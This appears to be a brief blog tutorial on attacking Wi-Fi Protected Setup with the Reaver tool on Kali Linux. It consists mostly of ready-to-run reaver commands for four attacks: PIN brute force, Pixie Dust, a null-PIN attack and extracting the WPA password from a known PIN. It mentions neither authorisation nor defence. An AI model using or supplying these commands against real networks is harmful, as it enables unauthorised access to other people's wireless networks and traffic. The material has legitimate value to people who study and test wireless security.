Learn how to crack WPS with Reaver tool using Kali Linux. WPS have 4 main attack vectors and here I will try to show you how to execute them using Reaver.
How to Break WPS with Reaver
Reaver is tool was created in 2011 by Stefan Fibök and Craig Heffner mainly to brute force WPS Pins and over the years was improved and added new functionality.
Before start any attack is necessary to put our wireless interface into monitor mode to be able to capture the relevant packets to crack WPS.
WPS Brute Force Attack
WPS Pin can be brute forced using reaver
sudo reaver -i interface -b MAC_Address_AP
reaver -i mon0 -c 6 -b MAC_Address_AP -vv -L -N -d 15 -T .5 -r 3:15
Pixie Dust WPS Attack
sudo reaver -i interface -b MAC_AP -K
NULL Pin Attack
reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p "" -N
Extract Wifi WPA password with known WPS Pin
sudo reaver -i wlan0 -b CC:41:B6:AB:A2:32 -p 68357469